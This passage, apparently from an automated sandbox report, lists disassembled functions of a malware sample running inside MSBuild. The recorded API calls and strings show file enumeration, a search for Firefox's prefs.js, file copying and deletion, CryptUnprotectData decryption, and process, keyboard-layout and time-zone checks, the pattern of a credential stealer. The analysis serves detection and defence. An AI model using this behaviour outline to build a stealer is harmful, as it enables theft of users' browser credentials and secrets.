StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
